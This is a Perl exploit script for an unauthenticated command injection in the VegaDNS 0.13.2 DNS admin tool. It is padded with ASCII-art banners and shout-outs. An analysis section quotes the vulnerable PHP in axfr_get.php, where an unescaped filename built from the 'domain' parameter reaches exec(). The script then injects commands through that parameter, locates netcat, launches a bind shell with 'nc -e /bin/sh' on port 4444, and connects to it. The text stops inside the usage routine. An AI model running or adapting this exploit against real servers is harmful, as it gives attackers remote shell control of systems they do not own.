VegaDNS 0.13.2 – Remote Command Injection
#!/usr/bin/perl $izd= qq{ ██╗███████╗██╗ ██╗███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██║╚══███╔╝██║ ██║████╗ ██║██╔══██╗ ██╔══██╗██╔══██╗██╔═══██╗██╔══██╗ ██║ ███╔╝ ██║ ██║██╔██╗ ██║███████║ ██║ ██║██████╔╝██║ ██║██████╔╝ ██║ ███╔╝ ██║ ██║██║╚██╗██║██╔══██║ ██║ ██║██╔══██╗██║ ██║██╔═══╝ ██║███████╗╚██████╔╝██║ ╚████║██║ ██║ ██████╔╝██║ ██║╚██████╔╝██║ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ };$vg=qq{ ▀ ▐░░▄ ▄▄▄▄▄▄▄ ▀▀ ▄░ ▐▀▄▀▄ ▄▄▓▓▓▒▒▒▒▒▒▓▓▄ ▀▀▀ ▐▄▄░ ▀▐▄ ▄▀▄ ▄ ▄▄▀▀▀ ▀▀▓▓▓▓▒▒░▒▓▓▌ ▀ ▄ ▐▀▄ ▀▄░ ▄▄░░ ▀▓▓▓▓▓▓▓▓▓▌ ▐▀▄▀▄ ▀▀▄▀▄ ▓▌░░ ▄▄▐▓▀▓▓░▀▓▓▓▌ ▀▄▀▄▀▄░ ▐▀▄▀▄ ▐▓▒▄▄ ░▓▀ ▐▀▄▀▒▄▄▒▀▓▓▓▄ ▄▄▄▓▓▓▓▄▄▄ ▀ ▀▄▀▌▄░ ▀▄▒▄ ▐▀▓▓ ░░ ▒░░ ▀▀▒▒▒▓▓▒░░░ ░░▒▒▄ ▀ ▀ ▐▌ ░█░ ▒▌▐▀▄░▄ ▒░▒░░ ░░▒░ ░░▓ ▐▄ ░░░ ░▒░░▒▌ █▄▒░▄ ▄▓▒░ ▐░░ ░░░▒░ ░░ ▓▓░▄▓ ░▒░ ░░▐▓ ██▓▓▓▓▓░▄▄ ▐░░░▒▄▒░░░ ░ ░░░░ ▀█▓▒▓▓ ░░░░ ░█▒▓▒▒▒▒███▒█▒▒░▒░▐▓▒░░░░░░░ ░ ░░▒▒▒░▒ █░░ ░▒▒░░█▒▒░░░░░ ░░░░░▐▓▒░░░ ░░░ ░░░▒▒▒█░ ░▒▒ ▐▒▒▒ █▒▓▌░░░ ░░░▒▒▒░░░░▒▓▓▒██▀▀░░ ░░ ░ ░░▒░░░ ░▒ ▓▒░░▐▒░ ░▓ ██▌░░░▄▒▒░░▒▒▒░▒▒▓▓░░ ░░░░▒▄░░▒░░ ░▒ ▓▒ ░▒▒▒█ ░▒▓ ▐▒▓░▒▒░ ▐░░ ▀▒▒▒░░░ ░ ▐░░▒▒▒ ░ ░ █░▀▒▒▓▓▓▒▒░░▓ ▄▒░ ▀▒░░░░ ░ ░░░░░ ░░▒▒▒ ░ ▒▒ ▀▓▓▀░▓▌▒░▒ ░▒▓▓▓▒▒▒░░░░ ░ ░░▒▒░ ░ ░░▒ ▀▀▓▓▌▀░ ░ ░▐▓▓▓▒▓▓▓▄░░░▄ ▐░░░▒▒▒▀ ▐░▒▄░ ▐░░░▒ ▐▒▒░░▄▓▓░▌ ░▒▒▓▓▓▓▒░░░ ░▒░▒▓▒▒░▒░░░░░▒░ ░░▒▒▒▓ ▀▓▓▀▒▄░░░░░ ░▒▒▓▓▌▀▀▓▓▄▓▒▓░░▒▒░░░▒▓▒▓▓▀▀▀▀▀▀▀▀▀▓▓▄ ▓▒░░░▄ ░░▒▓▀ ▀▓▓▓▒▒▓▓▓▓▀░░▒▒▒▀▓▓▓▓▀▀▀▀▓▓ ▀▓▄▒▒▒░░░▒▓ ▐▓▓▓▓▓▒▒▒▓▓▀▒▒▒▀▀░░░░░▒▒▒▓▓▓▄ ▀▀▀▀ ▀ ▐▓▓▓▀▀▀▀░░░░▒░░▒▒▒▓▓▓▓▒▀▀▀▓▓▌ ▄▓▓▓▓▀▀▓▓▓▓▓▓██▀▀▀░░░░░ ▒ ▓▒▒▓▌░░░░░░░▒▌░░░░ ░ ░ ▀ ░▄ ▓▓▓▓▒▌▄░▒▒▒▒▓▒░░░░▀ ░░░ ░░░▒▌ ▄▓▀▀░░░▒▒▄▒▒▓▓░░▄▒░░░▄▄▄▄ ░░░░░▐░ ▄▐█▒ ▒░▒▒▒▒░░▓▓▓▒▓▓▓▒▒▒▀░░▀ ▀ ░░▒▌ ▄▓▒▒░░░░░░▒▒▒▒▒░▒▓▓▓▓▓▓▓▒▒░ ░ ░ ▒▒█▀ ▐▓▒░░░░░░░▒▒▒▒▒▒░▒▓▓▓▓▓▓▓▓▒▌ ░ ▐░ ░ ░▒ ▐▒░░░░░░▒▒▒▒▒▒░░▓▓▓▓▓▓▓▓▓▓▓▒▌░ ░ ▐░░░ ░█ ▒█░░░░░░▒▒▒▒░░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▌ ░ ▐░░░ ░░▒ ▐▓▒░▒░░░░░▒▒▒░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▒▒░░ ░░░░ ░░▒ ▄▓▒▒▒░░░░░░░░░░░▓░▓▓▒▓▓▓▓█▀▒▓▓▓▓▓▓▓▓▒░ ░░░░ ░░ ▄▒░░░░ ░░░░▒▒▓▓▓▓██▌▐▓▓▓░░▓▓▌░▓▓▓▓▒░ ░ ░░░░ ░░▒ ▒░░░░░░▒▒▓▓▓▓▓▓▓█ ▐▓▓▓▓░░░▒▌░▓▓▓▓▒░ ░ ░░░░ ▐▒▌ ▒▀░░░▒░░▓▒▓▓▓▓▓▌▀ ▐▓▓▓▓░░░▒▌░▓▓▓▓▒░ ░ ░░░░ ░▒▌ ▓ ░▒░░░▀▀▒▓▓▓▓▓▌ ▐▓▓▓ ░░░░░░▓▓▓▓▒░ ░ ░ ░ ░▒▒▌ ▓▓▒░▒░░▒▒▒▓▓▓▓▓▓▌ ▀▓▓▓▓▓▓▓▓▒░ ░░░ ░▄░▒▓▌ ░ ▀▒▓▓▓▓▓▓▓▓▓▌▀▀ ▒░ ░ ░░▓▓▄ ░ ▓ ▓▒░ ░░▒▀▒░▒▄ ▄ ░ ▀ ▓▒░░▄░░░░░▀░░░▌░░▒ ░ ▄▄▀ ▀▒▒▒▒▒▄ ▄░░░░ ▀▀ ░░░ ▓▓▓▒▒▓▄░░ ░ ▐░▄ ░ ░ ░▀░░ ▀▀▒▒▒▒▀ ▀▒ ▄ ▄▄▄▄▄▄ ▄▀▒▓▌▄ ▀▄ ░ ░ ▓▓▓▓▌▄ ▄▓▓▓▓▓▓▓ ▒ ▄ ░ ▄ ▓▒▒▓▓▓▓▓▓▓▓▒▓▓▓▓▓ ░ ▀▓ ▄ ▓▒▒▓▓▓▓▓▓▒▓▓▓▓▓▀ ░ ▀▄░▒▌▄▄ ▄▄▄▓▓▓▓▓▓▓▓▓▓▓███▀ ▄▓▄▄▄▄▄▒▓▓▓▓▄ ▄▓▓▓▓▓▓▓▓▓▒▓▓▓▓▓█ ▐▓████▓▓▓▓▓▓▒▓▓ ▓▓▓▓▄▄▄▄▓▓▓▓▓▓▓█ ▐▓░░░▒▓▓▓▓▒▓▓ ▐▓▓░▒▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▒▒▓▌ ▓▓▓▓█▒▒▒▒▒▒▒▓▓▌ ██▒░░░░░░░▓▓███ };$b=qq{ ██╗ ██╗███████╗ ██████╗ █████╗ ██████╗ ███╗ ██╗███████╗ ██║ ██║██╔════╝██╔════╝ ██╔══██╗██╔══██╗████╗ ██║██╔════╝ ██║ ██║█████╗ ██║ ███╗███████║██║ ██║██╔██╗ ██║███████╗ ╚██╗ ██╔╝██╔══╝ ██║ ██║██╔══██║██║ ██║██║╚██╗██║╚════██║ ╚████╔╝ ███████╗╚██████╔╝██║ ██║██████╔╝██║ ╚████║███████║ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═══╝╚══════╝ ██████╗ ███████╗███╗ ███╗ ██████╗ ████████╗███████╗ ██╔══██╗██╔════╝████╗ ████║██╔═══██╗╚══██╔══╝██╔════╝ ██████╔╝█████╗ ██╔████╔██║██║ ██║ ██║ █████╗ ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║ ██║ ██╔══╝ ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ██║ ███████╗ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗ ██████╗ ██╗ ██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ ██╔══██╗╚██╗ ██╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ ██████╔╝ ╚████╔╝ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██╔══██╗ ╚██╔╝ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ██████╔╝ ██║ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ▄ ▄█▀ ▀█▄▄ ▄▄▓▀▀ ▀▓▄▄ ▄▓▓▀ ▀█▓▄ ▄▓▓▀ ▀▓▓▓▄ ▄▓▓█▀ ▀▓▓▄▄ ▄▓▓▓▀ ▀▓▓▓▄ ▄▓▓▓▀ ▀▓▓▓▓ ▓▓▓▓▀ ▀▓▓▓▓▄ ▓▓▓▓█ ▀▓▓▓▓ ▐▓▓▓▀ ▓▓▓▌ ▓▓▓▌ ▐▓▓▓ ▓▓▓▌ ▄▓▓▓ ▓▓▓▓ ▄▓▓▓ ▓▓▓▓▓▓▓▓▓▓██ ██▓▓▓▓▓▓▓▓▓▓ ▀▀▀▀ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▀▀█ ▄▄▓▓▓▓▓▓▓▓▓▓▓████▓▓▓▓▓▀ ▓▓▓▓▓████▓▓▓▓▓▓▓▓▓▓▓▄▄ ▄▓▓▓▓█▀▀▀ ▓▓█ ▐▓▓ ▀▀▀█▓▓▓▓▓ ▓▓▓ ▐▓█ ▀▓▌ ▓▓▓ █▓▌ ▓▀ ▌ ▀▓ ▐▓▓ ▀▓ ▄ ▄▀ ▐ ▌ ▓▓ ▐▄ █ ▀▓▄ ▄▌ ▓▀ █ ▀▓▄ ▄▓█ ▄▓ ▐▓▓▌ █▓ ▀▓▄▄ ▄▓▀ ▓ ▄▌ █▓▓▓▓▓▀ ▓▓▓▄▓▌▐▓▄▄▓▓ ▀▓▓▓▄▓▓▀ ▐▄ ▓▓ █▀▀ ▀█▀ ▀▓ ▓▓ ▄ ▄▀ ▄ ▄ ▓▓ ▓▓▓▄ ▄▓▀ ▄█ ▄ ▄ ▀▄ ▀▓▄ ▓▓▓ ████▀▀▀▀▀▀▀▀▀ ▓▀ ▄ ▄ ▓ █ ▓ ▀▀▀▀▀▀▀▀▀████ ▄▓▀ ▓ ▄▌▐ ▐ ▌ ▌▐▓ ▓ ▓▄ ▄▓ ▄▄▓▌▐▓ ▐ ▓ ▓ ▓ ▐▄ ▌ ▓▌▐▓▄▄ ▓▓ ▓▓▓█▀▀ ▀█▓▓▌ ▓ ▐▓ █▌ ▓ ▓▓█▀ ▀▀█▓▓▓ █▀ ▀ ▐▓▄▓▌ ▐▓▄▓▌ ▀ ▀█ ▀ ▀▀ ___ .___ .______ ._______._____ .___.__ ._______ .____ .___ .___ | |: __|: __ \ : .____/:_ ___\ : | \ : .___ \ | |___ | | : | /\| || : || \____|| : _/\ | |___| : || : | || | || | | |/ : || || : \ | / \| / || . || : || : || |/\ | / || || |___\|_.: __/|. __ ||___| | \_. ___/ | || / \ |______/|___||___||___| :/ :/ |. | |___| :/ |. _____/ |______/ : : :/ : :/ : : : };$g=qq{ ██████╗ ██████╗ ███████╗███████╗████████╗███████╗ ██╔════╝ ██╔══██╗██╔════╝██╔════╝╚══██╔══╝╚══███╔╝ ██║ ███╗██████╔╝█████╗ █████╗ ██║ ███╔╝ ██║ ██║██╔══██╗██╔══╝ ██╔══╝ ██║ ███╔╝ ╚██████╔╝██║ ██║███████╗███████╗ ██║ ███████╗ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ To all the people with mad skills who share their knowledge: TecR0c, mr_me, action_dk, bcoles, TheColonial, jduck, hdmoore, rgod, TESO, mdowd, kernelpool, silviocesare, egyp7, w00 w00, felinemenace, corelan, lgandx, _sinne3r, alexsotirov, fjserna, solardiz, l0pth, cDc, therealsaumil, laughing_mantis, g0tm1k, nmrc, and many many more.... };$a=qq^ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝l VegaDNS is a tinydns administration tool written in PHP to allow easy administration of DNS records through a web browser. -- http://www.vegadns.org The file axfr_get.php allows unauthenticated access and fails to correctly apply input escaping to all variables that is based on user input. This allows an attacker to inject shell syntax constructs to take control of the command execution. The following code from axfr_get.php shows how the variable $file becomes tainted trough the $domain variable which is tainted from direct user input. The application tries to prevent this by escaping the $domain and $hostname variables, but fails to escape the $file variable. ---------------------------cut--------------------------- * NOTE: * This functionality ONLY exists outside of the main application * because tcplient kept dying fatally due to file descriptor 7 * being unavailable, which only occurs AFTER session_start() is * called. * */ require_once 'src/config.php'; // CHECKS // Make sure the hostname was given if(!isset($_REQUEST['hostname']) || $_REQUEST['hostname'] == "") { echo "ERROR: no hostname given\n"; exit; } // Make sure that some domains were given if(!isset($_REQUEST['domain']) || $_REQUEST['domain'] == "") { echo "ERROR: no domain was supplied\n"; exit; } $domain = $_REQUEST['domain']; $hostname = $_REQUEST['hostname']; $rand = rand(); $file = "/tmp/$domain.$rand"; $command = "$dns_tools_dir/tcpclient -R '".escapeshellcmd($hostname)."' 53 $dns_tools_dir/axfr-get '".escapeshellcmd($domain)."' $file $file.tmp 2>&1"; exec($command, $out); ---------------------------end--------------------------- ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ^; print "$izd\n"." " x 17 . "VegaDNS pre-auth RCE exploit by \@Wireghoul\n"; print " "."=" x 50 ."[justanotherhacker.com]==\n"; &usage if ($ARGV[0] !~ m!.+://([^/:]+)!); $h=$1; print " . . . Locating netcat\n"; $cmd='which+nc'; $t=$ARGV[0]."/axfr_get?hostname=izunadrop&domain=%3b$cmd%3bagev"; $z=`curl -s -k '$t'`; if ($z !~ m{/nc}) { print " ! ! ! netcat not found! Manual exploitation required:\n"; print " $ARGV[0]/axfr_get?hostname=izunadrop&domain=%3bCMD%3b\n"; exit 1; } print " . . . netcat found: $z\n"; print " . . . Performing IZUNA DROP!\n"; # ← · ↑ · → · ↓ · ↖ · ↗ · ↘ · ↙ print " ↓ ↓ ↑ *k* → → *p*\n"; $cmd="$z+-e+/bin/sh+-lp+4444"; $t=$ARGV[0]."/axfr_get?hostname=izunadrop&domain=%3b$cmd%3bagev"; $z=`curl -m 3 -s -k '$t &'`; print $vg."\n"; print " . . . K.O ! ! ! Connecting to bindshell on $h port 4444\n"; system("nc -v $h 4444"); sub usage { print "Usage $0 http://host/path/to/vegadns\n\n$ARGV[0]"; exit; |